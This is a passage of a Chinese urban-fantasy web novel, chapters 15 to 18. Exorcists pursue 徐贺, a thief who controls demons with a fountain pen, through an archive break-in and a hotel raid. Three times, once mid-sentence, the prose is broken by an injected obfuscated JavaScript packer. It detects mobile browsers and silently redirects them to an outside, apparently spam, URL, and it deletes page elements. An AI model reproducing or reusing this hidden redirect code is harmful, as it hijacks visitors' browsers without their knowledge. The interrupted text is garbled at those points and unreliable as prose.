说是开玩笑,大家心里也都清楚,不管是什么样的玩笑都需要有个度,毕竟不好笑的玩笑可就称不上是“玩笑”了。这三人这么多年的相处过来,自然也知道这个度该把握在哪。就像黎子鸣现在也知道,他虽然有疑惑,但他向林欣予的询问也需要有个度。 所以他在被损了 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“可能还是灵力总量的问题。”林欣予回复道:“也可能是情绪问题。” 黎子鸣仔细看看周围的环境,不久便发现这里除了那股不对劲的力量以外,没有任何其他的异常,而那股不对劲的力量也正在逐渐消散。 “我想知道你打算怎么做。”黎子鸣侧头看向林欣予那边,“如果今天在这里的只有我和苏佑容,我们肯定会把这个异常如实上报。但现在你在这里,并且很明显,你不想让人知道这里发生了什么。” “如果我说我不会汇报任何事,那么你会缄口不言吗?” “当然,我们之间有‘约定’,不是吗?” 林欣予颔首,微微笑了一下:“很好,那我和你阐述一下我后续的计划。” “事已至此,我肯定是不会和你们一起行动了,但是不管苏佑容那里是不是认为我在抢功,人我肯定还是要找的。至于你,我想你目前应该还是会在苏佑容那边,他对你的生气只是从我这的迁怒罢了,事后等他冷静下来,自然会想到身边好用的‘打手’也就你一个人。所以后续你就放心地去帮苏佑容吧,毕竟大家归根结底还是为了物零社办事。” 这句话的最后明显是在胡扯,明眼人都知道,林欣予有着自己的打算,而这个打算和物零社本身根本没有任何关系。不过在情报有限的黎子鸣面前,这样的说辞确实无懈可击。 林欣予就这样把自己半真半假的说辞继续了下去:“不过苏佑容那里也说得对,这事确实是我做的不厚道,所以作为补偿,我也给你们分享一点情报。” “徐贺操纵魑魅依靠的是一支钢笔,这支钢笔类似于一个收纳魑魅的‘容器’,徐贺可以借助它释放、并且控制魑魅。” “怎么感觉有点像精灵宝可梦……”黎子鸣小声吐槽了一句。 没有理会他的吐槽,林欣予接着说:“根据我目前的情报,那支钢笔可以同时容纳多个魑魅,可以做到同时控制,并且可以在让魑魅做出一些有战术规划的动作。徐贺驱动那支钢笔的方法目前不明,但他似乎不需要触碰到钢笔本身,就能够驱动其力量。同时,他所操控的魑魅会自爆,会有一个不小的范围伤害。” 黎子鸣瞬间就了然林欣予这句话的含义:“明白了,我会小心这一点。” “除此之外,徐贺本身的战斗力并不算强,但也不是完全没有战斗力,有一定的体术基础,这方面也需要注意,到时候不要为了应对魑魅,忽视了对他本人的防范。” 林欣予这些所谓“作为补偿的情报”,内容丝毫不敷衍,甚至可能比之前搜查时苏佑容发现的还要重要。毕竟找人可以慢慢找,但最后真的发展到暴力冲突了,可就是拼命的大事。林欣予提供的信息可以让他对徐贺这边的战斗力有一个基本的了解,这样的话黎子鸣就能在很大程度上避免像秦竹一那样,在初见那支笔的力量的时候被阴一把。 说实话,林欣予这些的这些信息有用是有用,但其来源就十分可疑。这一长串话听下来,无处不在诉说着一个事实——林欣予、或者她认识的什么人,已经和徐贺战斗过了。黎子鸣自然也是知道这一点,但他在最开始既然说了不过问,自然不会在此时纠结这些情报的来源。 “这个情报,别给其他人说,我只是想在你最后面对徐贺的时候提供一点帮助。”林欣予补充道:“尤其是,别向上汇报。” 谈论之间,此处残留的妖力已经愈发稀薄,留在此处也不会再有什么收获,所以两人也决定结伴回学校。正当二人拿出手机准备打车时,他们同时收到了一条同样的消息…… 15. 得手 是夜,明月高挂。 大学里,学生们刚刚结束最后一节晚课,正在熙熙攘攘地结伴走出教学楼,一些人迫不及待地要赶回宿舍休息,另一些人还在商量晚上可以去哪里吃夜宵。不久后,学生散完,但教室的灯还亮着。 门卫大爷已经习惯这个情况,自从半个多月前,那个蓝眼睛的外国人教师入职之后,他总会留到最后才走。 门卫大爷走到还亮着灯的教室时,看见安格森正在挽着袖子擦黑板,他歉意地笑笑:“抱歉啊大爷,耽误你下班了。” 大爷似乎有些五味杂陈:“这种事情差使一个学生去做不就行了,再不济,咱们又不是没有保洁。” 此时,安格森已经擦去了黑板上最后一点粉笔的痕迹,放下黑板擦后开始整理自己摊在桌面上的各个教材:“举手之劳的事罢了。” 大爷看着他这些动作,似乎想说什么话,但不知道如何开口。半晌之后,他看安格森已经把东西收拾得差不多了,才开口说道:“小安啊,其实之前那件事我一直挺对不起你的……” 如果放半个月前,那安格森保准是要吐槽一句这个称呼的,但经过这半个月被各种学生叫“安老师”的经历过后,他似乎可以抑制对类似称呼的吐槽欲望。 “您是说之前魑魅的那个事吗?” “是啊,是啊。”大爷深深地点了点头,“哎呀,都怪我这老眼昏花,没发现那东西溜了进去,不然你和那孩子也不会差点丧命……” “倒、倒也不至于到丧命的程度。”安格森着实有点被这个词汇吓到,毕竟在他看来,那天确实有点凶险,但实际上根本没什么,两人到最后也仅仅是有一点擦伤而已。 这里就属于是认知的差异。 这门卫大爷,虽然上了年纪,但是能在物零社的教学楼里当个门卫的,绝对也不是什么普通人。很明显,老大爷也是有灵力的人,他本身就是从前线退休下来的除魅师之一。 和黎子鸣这种初出茅庐的小崽子不一样,能活到从前线退休的除魅师,哪一个不是身经百战。比这成倍凶险的情况都是他们见过的。但饶是如此,在他参加的各项行动中,都有无数的新人除魅师在面对魑魅的时候,因为各种原因而重伤甚至死亡。所以在他看来,那天晚上黎子鸣和安格森能够没付出什么巨大的代价就从那只魑魅手里逃生,属实是祖宗积德。 但更明显,这位大爷对黎子鸣的情况了解甚少,他最多知道黎子鸣是这一届的优异生,却对黎子鸣的实际力量没有准确的概念。 说到底,还是这一届异常的学生太多。 物零社作为一个从培训到工作一体化的除魅师组织,有着无数优秀的人才,这种涉及到会和魑魅产生明确接触的事件,按理来说不应该交给几个学生负责。道理也简单,上面有着拿正经工资干正经事的老手,为什么要把关乎人民利益的事交给几个乳臭未干的小孩做? 而现在这个任务确实落到这几个学生头上,苏佑容是因为他搜集资料和分析整合的能力出众,并且他的家室给他带来了广阔且方便的人脉;而黎子鸣能被拉进来,就单纯因为他的战斗能力过于出色,并且他见过魑魅,也有着处理魑魅的经验。这一处冲破六边形边界的能力值,即使放到正式成员里面,也绝对位于上游之列。 至于林欣予,其实更简单一点,一是因为她和这两人是多年的好友;二是因为她是总负责人林睿雅的妹妹…… 不过归根结底还是,物零社方面不重视这件事,毕竟在高层看来,操纵魑魅什么的,至今也只是苏佑容的推测罢了。 这也是林欣予不让黎子鸣上报情报的原因,她不想这件事引起高层的注意,这样她才能有更多行动的空间。 回到门卫大爷这里,在他看来两人当初能够逃生依旧是难得的奇迹。 “别这样想,大爷。”安格森安慰了两句还陷在自责中的门卫大爷,“您当时要是看见了,那魑魅攻击您怎么办?” “那我这把老骨头出事,也比你们两个小年轻出事好啊。”大爷突然感叹道,“以后可是年轻人的天下,更何况是你们这种有天赋的年轻人,我见了太多英年早逝的……” “好了好了,这种话就别说了,我们这现在不都还好好的吗?” 安格森竖起食指,在嘴前比了一个“噤声”的动作,堵住了大爷接下来想说的话。 “有些事情,‘看见’可不一定是好的。” 话罢,安格森拿起包和外套走出了教室,一边挥手一边喊道:“那我先走了,辛苦您关一下灯!” 门卫大爷看着年轻的教师离开的背影,心里突然觉得轻松了很多,可能确实是安格森那番话起了什么作用吧,也是,那天如果发现那只魑魅,或许自己当场就会被杀,绝对撑不到支援来到的时候。 想通了也好,大爷走路的脚步都轻快起来,他走到教室电灯的开关面前准备关灯,但他的手指还未碰到开关的时候,所有的灯突然灭了一下、或是说闪了一下,因为灯灭的时间还不到一秒钟。 “这楼里的设备也老了啊,不知道是哪里接触不良。”门卫大爷一边想着明天找电工来看看,一边关闭电源,朝着门卫室走去。 这突然闪烁的灯是因为电路出了问题——那当然是不可能的。 那一瞬间确实有些东西进来了,一些门卫没看见、或是说门卫没法看见的东西,进入了这栋楼房,进入了地下一层,朝着最里面的档案室前去。 十分钟后,响彻整栋楼房的报警声,宣告这场入侵的发生。 警报在第一时刻传到了每一位物零社高层的通讯设备上,而目前还留在校内的,只有林睿雅一个人,所以她第一个冲去了现场,开始调查究竟发生了什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101183|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 二十分钟后,夏峰穿着一身搭配很混乱的衣服,匆匆忙忙地赶来。在他赶过来的时候,林睿雅已经把目标锁定在档案室了,因为这栋楼只有这里和训练场才设有警报,训练场设置入侵警报的原因是,那边一般会放置很多附魔器供学生训练使用,而因为最近的课程都是理论课程,训练场的附魔器都已经收回另一个仓库里了,此时的训练场只有有个空壳子。所以除此之外,有入侵价值的只剩下了这个档案室。 映入眼帘的档案室,和夏峰上次来档案室并无二致,简单来说就是,根本不像是被入侵了的情况。 档案室的灯此时都已经开启,头顶的白炽灯丝毫不吝啬的散发着光亮,照得面积不小的档案室像是在白天一样。几十个巨大的铁架子整齐的摆放在屋内,架子上贴着标签,各种纸质档案、电子硬盘等信息储存载体根据那些标签,条目明晰地摆放在每一个架子上。在这些铁架的后面,是一排错落有致的黑色机箱,上面还在闪着各色的灯光,示意自己正在正常运行。 如此一幅整洁有序的画面,实在是不像被入侵过的样子。 当然,警报既然已经敲响,那这里断然是发生了什么。夏峰也不会去想什么“是不是警报系统坏了乱响”这种事,这种行为就像是在快要坠机的飞机上修灯泡一样弱智。 “现在是在排查有没有少东西吗?”他看向正在对着架子上的物品,一件一件核对存储名单的林睿雅。 “对。”林睿雅一眼都没看他,似乎根本顾不上他,“现在在学校附近有权限进档案室的人,我已经都通知到了,他们都在往这边来,但是人手还是不够。” 她终于瞟了夏峰一眼:“您那应该能驱使更多的人。” “我明白你的意思,我会给他们发通知。” 夏峰嘴上说着,手上动作也不慢,几分钟的时间就把一群还在睡梦里的人叫醒。 林睿雅看夏峰那处理完了,指了指放在铁架一侧的一个铜制保险箱:“你不去看看那个箱子吗?那箱子只有你能开。” 保险箱看着不大,大概20cm×20cm×20cm的大小,看上去只放得下一个硬盘或者几份A4纸文件,在这偌大的档案室里一点都不起眼。 不过这种越不起眼的地方,就越有可能放着一些十分重要的东西…… 夏峰虽然此时并不觉得这个保险箱里的东西会有事,毕竟它外观看上去完好无损,就连上面的密码都停在自己上一次放东西后随便拨到的位置,但以防万一,他还是上去检查了。 扭了半天密码后,夏峰在保险箱侧面按下了自己的指纹,十分有厚度的保险箱门随之开启,而其空无一物的内胆,属实是给出了一个大大的“惊喜”。 “不用找了。”夏峰黑着脸,把空空如也的保险箱内部侧向林睿雅那边。 “α被拿走了。” 16. 准备 苏佑容刚坐上车没多久,就收到林睿雅发来的消息。 “‘直接抓捕徐贺’?什么意思,不用找证据走流程了吗?” 这件事情在此刻,给予苏佑容的诡异感达到了巅峰。 对,没错,这件事情从一开始就诡异至极。看到如此出乎常理的要求,苏佑容反而突然冷静了下来,开始在自己的脑内复盘整个案件的经过。 根据在警察那边得到的消息,奇怪的盗窃案,最开始发生在一个月前。但是因为缺少证据,加上被盗财物的数额并不大,所以并没有被重视。 物零社被牵扯进来,是两周前,黎子鸣和那个新来的老师在训练场遇袭。根据他之前的推测,魑魅因为某些原因脱出了徐贺的控制,转而变为由本性驱使的杀人机器。这里就有第一个问题——魑魅脱出控制的原因究竟是什么?但是这个问题凭现在的信息必然是无法得到结果的,但原因无非两点,被什么人影响了,或者被什么东西影响了,毕竟天知道物零社的档案库里面是不是只放了档案。但总之,因为这件事,物零社入局了。物零社开始调查这件事,顺理成章地将其与最近发生的奇怪的盗窃案联系到了一起。 随后自己被林睿雅硬逼着开始调查,而开始调查后的一切,顺利到不可思议,就像是有什么人在控制着一切一样。 而这种被控制的感觉是什么时候产生的?似乎就是从,侵入物零社的魑魅突然失控开始的。如果那只魑魅不失控袭击黎子鸣,物零社根本不会注意到盗窃的事件和魑魅有关。 再往后,就是今天,他们正式打算与徐贺接触的这天。其结果也显而易见,现在徐贺完全失去踪迹,而全场最奇怪的,肯定是林欣予的态度。 苏佑容现在冷静不少,他不否认,刚刚自己确实被林欣予那几句话冲昏头脑,现在想起来,她那几句话其实没一句的可信的。苏佑容其实知道,林欣予根本不是那种会抢功的人,虽然两人在过去的合作中也有过一些争执,但都不是以抢功为目的,而是为了更好完成合作任务的良性争论。但这次林欣予的态度太奇怪了,从一开始对待这件事情不温不火,到了目标面前,却又一言不发地悄悄自己行动,就像是,不想让他和黎子鸣、不、不想让物零社的人接触到目标一样。 这样来看,她很可能已经接触了徐贺,并且从徐贺那得知了什么东西,所以才表现出了更加反常的态度。而自己当时气不打一处来,显然已经错过了最好的询问时机,现在再去追问,更容易被对方糊弄过去。但毋庸置疑的是,林欣予肯定有自己的目的,而这个目的必然和物零社无关。 至于现在,自己收到了直接抓捕的指令,其代表的意义也很明显,徐贺之前想从物零社里窃取的那样东西,已经被他成功拿到了。但从时间上来说也很奇怪,从徐贺的住所到物零社的所在地,即使是驾车也需要至少40分钟的车程,根据出租屋门口的摆摊小哥的信息,徐贺出门的时间正是晚高峰,加上堵车的时间,没有一小时他到不了学校。他还预约了会所晚上的活动,再怎么想,他今天都是没有动手的时间的。 很有可能是,徐贺今天遇到了什么事,导致他不得不把再次动手的时间提前到了今天晚上。但饶是如此,根据之前的路程时间算,他到达物零社所在地以后也只有半个小时的时间能实施偷盗行动,这个时间不管怎么想都太紧了。 至此,苏佑容的思路彻底陷入僵局,仿佛有无数不可见的手掌蒙住了他的眼睛,让他看不见能通往前路的可能性,而之前他所感觉到的诡异感,也正是由此产生。 当然,事到如此也不是完全没有解决的办法,其中最简单粗暴的无非就是,赶紧把徐贺抓到,审一审,自然什么都出来了。 想到这点,苏佑容觉得有点可悲又可笑,没想到自己也会有一天觉得,纯粹的武力要比动脑子来得简单的多,不过事实如此,也没什么好排斥的。 窗外的路灯正在高速后退着,明亮的灯光一闪一闪地打在苏佑容的脸上,出租车的前方是一个隧道,进入隧道后光线倏然昏暗不少,像是驶入了一个巨大的迷宫。 …… 在苏佑容收到这一消息的同时,黎子鸣和林欣予也收到了同样的消息。 不得不说,黎子鸣虽然想的不少,但断然不可能像苏佑容想得那么多,所以这消息发出来,黎子鸣有种如蒙大赦的感觉,不用再费劲去找那些乱七八糟的线索和证据,而是可以直接抓人,一下子省事不少。 但林欣予心里的小九九就又开始盘算,物零社这样直接的命令肯定不利于她,他们越急着抓人,自己能抢先一步抓到人的概率就越小,虽然不知道为什么会突然发生这样的事,但看来自己需要调整计划。 “你下一步打算做什么?”黎子鸣问她。 “只能先回学校吧。”林欣予揣摩了一下收到的消息:“物零社那边这么急着下命令,想必是徐贺那得手了,现在他人估计还没跑远,很有可能还在学校附近。” “那我们一起回……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101184|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不,分开回。”林欣予拒绝了他,“先前和苏佑容说好了,之后我不会和你们一起行动,你还是帮着物零社那边比较好。” 这话就差把“我和物零社不是一伙的”这个意思拍黎子鸣脸上了。 话已至此,黎子鸣也不太好再说些什么,只好悻悻地和林欣予分开回校。 …… 另一边,物零社、或是说物零社所在的大学的围墙外,徐贺确实蹲守在这里。 他本想再磨蹭一阵,毕竟上次魑魅在物零社内突然失控,彻底打乱他的计划,所以他短期内不打算接近物零社,但没想到却被奇怪的人找了上来,而自己惹不起的那个黑衣人,居然就这样给自己定死最后期限。 可真是赶鸭子上架。 徐贺在心里怒啐了一口“娘炮”(在他看来男的留长发都是娘炮),但奈何自己不是人家的对手,只能在暗地里默默诋毁。 不过今天的物零社有点奇怪,警卫的数量多得离谱,里三层外三层把周围围得水泄不通。虽然徐贺知道自己两周前的行动肯定有些打草惊蛇,不过这警备数量也太过离谱了,而且这些警卫不像是在防止人进去,倒像是在一边防止什么人出来,一边在找人。 该死,不会是那货出卖了自己吧。徐贺第一时间想到的可能性是这个,但这说不通,这么做对他没什么好处,所以他又很快否定了这个想法。那这破地方到底是发生什么事了!? 不管怎么说,现在这情况自己肯定不会试图进学校去送死,反正那人给自己了一天时间,那明天晚上再动手也应该没问题?今天,今天在这附近随便找个宾馆住一晚上好了。 如此想着的徐贺,大摇大摆地从警卫们面前晃走,在路边随便找了家宾馆登记入住。 与此同时,林睿雅接到了电话—— “老板娘,有什么事吗?” “啊,小雅,刚刚有个叫徐贺的来我们这住店了,我记得你最近好像在找他来着,是不是你要找的那个人啊?” 该说不说,不知道这位嫌疑人是对自己的能力过于自信,还是单纯的蠢,仗着自己的名字还没上官方警察的通缉令上,依旧肆无忌惮地使用自己的本名和身份证,而殊不知,物零社的周围,自然都是物零社的眼线。 林睿雅根据这条线索,很快就安排好了一切,通知了所有该通知的人,带着并不算多的人手,围住了这所不大的宾馆。 如果要给这次的行动取一个名字,那就叫“瓮中捉鳖”吧。 17. 突袭 按照林睿雅的计划,抓获的时间放在凌晨三点,等人熟睡以后,就可以不费一兵一卒轻松捕获。队伍也尽可能精简,现在这个时期,物零社有很多成员都在外处理全国其他地区的各项事务,留在申海本部的人手其实不多,而其中大多都是没有战斗力的文职,能够在短时间内加入这次任务的,只有寥寥四人。其实现在在校的也有很多能力不错的学生,但介于这些学生还没有见过魑魅,经验不足,所以在面对这种很有可能遭受魑魅袭击的任务里,物零社还是以保护学生安全为主,所以本次行动通知到的学生,只有之前就涉及在内的那三人,而被通知来现场的,只有黎子鸣和林欣予。 苏佑容几乎没有战斗能力,这种行动他还是躲得越远越好。 这件事情说来很有戏剧性,他们之前在徐贺的住处丢失了他的踪迹,没想到不过两小时,就接到消息说这人出现在了总部附近,有种得来全不费工夫的感觉,甚至让林欣予之前一定要和黎子鸣分开行动的坚持都变得滑稽起来。 林睿雅收到这个线索后,做的第一件事是疏散旅馆附近的普通民众。好在现在并不是旅游旺季,旅馆里空房居多,算上工作人员也不到十人,物零社很快把这些普通人安顿到其他安全的地方。 当黎子鸣叮铃哐啷地背着一包附魔器到旅店和众人汇合时,名为“瓮中捉鳖”的行动正式开始了。 人员的组成是战斗课程的授课教师方明和李梦兰,这两位看上去很有夫妻相,实际上也是夫妻,算是物零社中比较有资历的老成员,皆是处理过很多任务的资深除魅师。现在人到中年,有了家庭有了孩子,所以退居二线当了战斗课程的老师。虽然两位很长时间不上前线了,但宝刀未老,处理这种事情只能说是大材小用——至少身为丈夫的方明现在是这么认为的。 除了那对夫妻以外,还有一位负责附魔授课教师,是个看上去只有二十五六岁的小个子女生,名字叫夏玉薇,和物零社的现任社长夏峰同是夏家的人,只不过在血缘关系上只能算作远房亲戚。夏玉薇担任这门课程的授课教师的时间也不长,只比安格森早来一个月。年纪轻轻就在二线当老师的原因也很简单,相比起那些天才,她在战斗方面和附魔方面都只能算是中等偏上的水准,所以与其和那些天才内卷,她选择趁着年轻就找个安静舒适的职位养老。结果在现在这种特殊的情况下,她成了为数不多的能用的战力。 以上三位是加入本次行动的物零社正式成员,除此之外,就是已经在这地方混熟了的预备成员黎子鸣,主导本次行动的正式成员林睿雅,以及靠她关系“混”进来的堂妹林欣予。 拢共六人的队伍,在林睿雅看来其实有点寒酸,但其他人似乎并不这么认为。 “抓一个小偷要六个人行动?这也太大动干戈了。” 战斗课教师方明,最先表达自己的不满:“要我说,让那些实习期的学生来不就行了。” 同为战斗课教师的李梦兰站在他旁边,没有说话,但不可置否地点点头,表明认同他的观点。 林睿雅并没有因为质疑而生气,她耐心地解释着:“根据我们现在的推测,这个嫌疑人很可能掌握操控魑魅的方法,所以把任务分配给了有实战经验的各位。” 方明不屑地嗤笑:“你这说法唬唬那些学生得了,操纵魑魅的方法?你问问现在还活着的除魅师,谁见过这种方法?那些玩意就是不可控的怪物。” “方老师,我没有和你争吵的意思。”林睿雅依旧很平静,“任务的选人和分配都是经过夏峰社长许可的,我不管你对我有什么意见,请以任务的完成为最优先。” 诚然,方明确实觉得这次的任务大动干戈,但是干这行时刻与生死相伴,再怎么谨慎也不为过。他此时的不爽,也确实是因为对林睿雅有意见。或是说,他对这姓林的俩姐妹有意见。明明是不祥的氏族,物零社怎么能欣然接受她们,而且还重用了身为姐姐的林睿雅,物零社就算再怎么不问出身,也不该这样引狼入室。 林睿雅或许该庆幸,她还是低年级学生时,方明并没有担任她的老师,否则处处被穿小鞋的感受可不怎么样。不过话虽如此,就算被差别对待了,林睿雅估计也不觉得有什么,就如现在的林欣予一样。 总之,上句话被林睿雅噎住以后,方明也暂时偃旗息鼓。一旁看两人剑拔弩张的附魔教师夏玉薇也松了口气,自己的远房表叔夏峰交代任务的时候,专门说了注意这两人,别让他们起太大争执。现在看来,林睿雅在应对这种事情上面挺有经验。 就这样,有着不少隔阂的六人,两两一组,在旅馆四周埋伏下来。方明和李梦兰俩夫妻住进徐贺房间的隔壁房,林睿雅和夏玉薇住进徐贺房间正对的楼下房间,而黎子鸣和林欣予在旅馆对面的小酒馆点了两杯无酒精饮料,从这里可以清楚地看到旅馆正门口,以及位于二楼的徐贺房间的窗户。 刚点完饮料,黎子鸣有些踌躇着说道:“总感觉,方老师对睿雅姐的敌意好大。”他又补充一句,“对你也是。” “这还用感觉吗?”林欣予有些无语:“无数人问过我,我哪里惹他了。” “啊,其实我之前也想问来着。”黎子鸣说,“但你肯定没惹过他,所以我觉得是他的问题,或许我应该哪天去问问他。” “别、别问了。”林欣予看着他的眼睛,“你不是世家出来的,不知道这些事倒也正常。” “什么事?” 林欣予眼睑微垂,开口提及这件事情似乎需要一点勇气。 “关于林氏神魔血脉的事。” “啊?!” 林欣予看见黎子鸣明显愣住了,也是,这种事情对于之前不了解的人来说,应该很有冲击力吧。 半晌过后,黎子鸣似乎缓过来了,他说: “某种游戏设定?” “不是!” 看着眼前这家伙五分疑惑五分兴致盎然的申请,林欣予有些无奈地开始详细解释。 “算是从古代传下来的传说,说我们这一脉有神魔血脉的传承,用比较通俗的话讲,就是所谓的‘妖怪’。” 两人点单的饮料很合时宜地端上来,于是林欣予喝了一口热咖啡,接着说道:“你也知道,除魅师很注重家族传承,像苏佑容他们家就是数一数二的大家族,本家和分家加起来有几十条血脉。而林家,曾因为所谓的神魔血脉,被其他家族打压排斥,最终到现在只剩我和我姐姐这两脉。” 黎子鸣踌躇着开:“总感觉,是那种迷信引发祸端的走向……” “嗯,算是吧。”林欣予道:“都是很久之前发生的事了,现在留下来的,只有一些大世家对林姓的排斥而已。” 毕竟到现代社会,屠杀这种事不会再发生了。 “话说,你家真的有这种血脉吗。”黎子鸣居然追问一句,“会不会喷火吐水什么的,嗯,不过古代传说的话应该更有神话色彩吧,比如可以求雨可以飞什么的……” “……就算有,应该也不是你说的那种东西。” 林欣予在对方的脸上捕捉到了一抹稍纵即逝的失望,让她开始莫名地有点火大。 黎子鸣接着说:“这种东西听上去挺酷的,而且我看除了几个老师外,其他人也没对你的家世有什么异样的眼光。” “因为这是在物零社里面,物零社里大部分人都是像你一样没什么家世出身的人,所以不太在乎这些。” “苏家是大世家吧,苏佑容对你不也挺正常的。” “他是个例……话说怎么扯到这里来了。” “嗯,我就是想说,Don’t mind。” “我一开始也不是很在意好吧……” 林欣予确实不太在意这些事,但若是说彻底不在意,那当然是不可能的。她不清楚姐姐那里如何,但她拥有的嫡系血脉,沿着血脉流淌下来的种种记忆,在每个夜晚里都充斥着她的噩梦。 “好了,不聊这个事了。”黎子鸣很识趣地结束这个话题,“现在离凌晨三点还有将近三小时,不如想想怎么打发下时间。” 说到这,黎子鸣从自己偌大的背包里,翻出来一块板砖大小的东西,定睛一看,赫然是一部红蓝游戏机。 林欣予不禁汗颜:“我们还有盯梢的任务吧,打游戏是不是有点……” 她话还没说完,就被一声清脆的破裂声打断了。 这是玻璃破碎的声音。 两人在第一时间循着破碎声音来源的方向看去,那是旅馆二楼的一扇窗户发出的声音。那扇窗户的玻璃上,猛然蔓延出如蛛网一般的裂纹,随后在顷刻间彻底碎裂,清脆的破裂声回荡在寂静的夜空中,像是刺耳的警报声一样宣告着在场的所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101185|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人—— 那是徐贺所在房间的窗户。 发生什么事了?这是除了林欣予外的所有人心中的第一所想,而下一秒,反应最快的林睿雅和三个老师,马上想到了一些不好的可能性——不管发生了什么事,徐贺绝对不会再乖乖呆在那间房子里了。 所以在徐贺打开房门想往外跑的时候,埋伏在他隔壁房间的方明和李梦兰已经堵住了房间的门口。 是物零社的人。徐贺马上反应过来,这两人严严实实地堵住这间屋子除窗户外的唯一出口,而旁边的楼梯间正传来急促地脚步声,还有人正在赶来这个房间。 “别反抗,跟我们走一趟。”方明说了句没有反派会遵守的废话。 徐贺暗啧一声,他陷入进退维谷的境地,此时房门被堵,玻璃已经破碎的窗户应该是最好的逃跑路线,毕竟二楼的高度对他而言没有威胁,但他深知再靠近窗户无异于找死。 因为他知道刚刚发生了什么。 那是一颗子弹,狙击枪的子弹,不知穿过了几百米的空气,击碎脆弱的玻璃,擦着他的肩部,嵌入旅馆的墙壁里。 先前因为自己半拉着窗帘,狙击手不好瞄准,所以没打中。但现在窗户处一览无余,随意靠近和送死没有任何差别。 徐贺没多少思考的时间,仅仅是刚才犹豫的片刻,他就又在走廊尽头看到了两个靠近的身影,彻底堵死两端的逃生口。 事已至此,只能赌博了。 方明还在喋喋不休地说着废话逼迫对方放弃抵抗,当然,这些话徐贺是一声都没听进去,他左手放在对方的视觉死角,悄悄打开那支钢笔的笔帽。 顷刻间,如海啸一般的黑雾,袭向了毫无防备的方明。好在一旁的李梦兰一直紧绷着弦,在那不同寻常的魑魅黑雾从徐贺身后陡然溢出的时候,她马上做出了反应。只见她手中银光一闪,银色的金属扇面倏然张开在二人面前,半径不过一尺的扇面在此刻仿佛成为了一面巨大的盾牌,冲散那群来势汹汹的魑魅。 徐贺没指望这招偷袭能伤到对方,他只想争取一些时间。从笔中溢出的魑魅被他分散成了两股,一股袭向方明和李梦兰,另一股则向毫无遮掩的窗口盖去,虽然没什么防御的功能,但足以阻碍远处狙击手的视野。 就这样,趁着那两人还没反应过来,徐贺以最快的速度冲向了窗户,在几只魑魅的保护下,从二楼一跃而下! 不太巧的是,他刚刚落地,发现自己落在了两个年轻人前面。一男一女,一看就是大学的学生。 那他们今天的运气可真差。 没有任何犹豫,被徐贺注入“清扫障碍”指令的魑魅们,袭向了离他最近的两个人类—— 熟悉的一幕重演了,一把小刀劈开了成群的魑魅,构成它们躯体的黑雾在灵力作用下根本无法再度重新组合,就这样如烟尘般彻底消散在空气中。 而面前年轻的男大学生,手中握着的小刀,也和这些死去的魑魅一样,化为齑粉消散了。 恍惚间,徐贺的表情跟见鬼了一样,以为对面又是几小时前在巷子里堵住自己的那个怪物,但显然,这两人的长相全然不同。 黎子鸣这边的懵逼程度和徐贺不相上下,他和林欣予在听到动静以后迅速赶来,不上楼是林欣予的提议,她说那几个老师肯定会第一时间堵死房间向内的出口,而徐贺极有可能跳窗逃走,所以两人应该在窗户下面等他自投罗网。 她刚说完这句话,黎子鸣就看见如墨水一般的魑魅从那房间的窗户里溢了出来,而一个人影裹挟魑魅,从墨水冲了出来,直接落在两人面前,而那些魑魅不由分说地就上来就打。 黎子鸣只能从背包侧面的袋子里拿一件最好拿的武器,在抵挡这次攻击的同时,又损失了物零社的财产。 旁边的林欣予也没闲着,在黎子鸣打散这些魑魅后,她第一时间朝着徐贺的头部发动一记回旋踢,没有魑魅保护的徐贺只能赶紧用手臂防守,直接被踢出去了两三米远。 而这些,只发生在不到十秒的时间里。 这十秒过后,一道刺眼的金光划破堵住窗口的魑魅群,方明手握一柄长剑,三两下就清除了那些毫无攻击动作的魑魅,四个人影陆续从二楼跳了下来,迅速把刚刚被踢倒在地的徐贺围了起来。 至此,所有在明面上的人,都到齐了。 18. 围剿 不是没有人想趁徐贺倒地的时候,直接把他制服。只是在众人刚刚准备上前时,无数的魑魅又从那支笔里冒了出来,牢牢把徐贺护在了中央。 虽然方明之前极力主张不存在能够控制魑魅的方法,但眼见为实,他现在也不得不承认,徐贺确实拥有这种能力,这也证明在场几人所面临的危险正在成几何倍数的增长。 其他几人也一样,不管之前是完全不信还是心怀疑虑,此时都提起了百分之一百二的注意力,保障不管对方下一步行动是什么,都能在第一时间做出反应。 一时间,竟然没人敢冒然上前。 徐贺慢慢从刚才的冲击中缓回来,他此刻右侧的小臂剧痛无比,很有可能因为刚刚的踢击而骨折。但更糟糕的是,自己现在被六人围攻,远处还有一个不知踪影的狙击手,时刻都能瞄准自己的眉心。 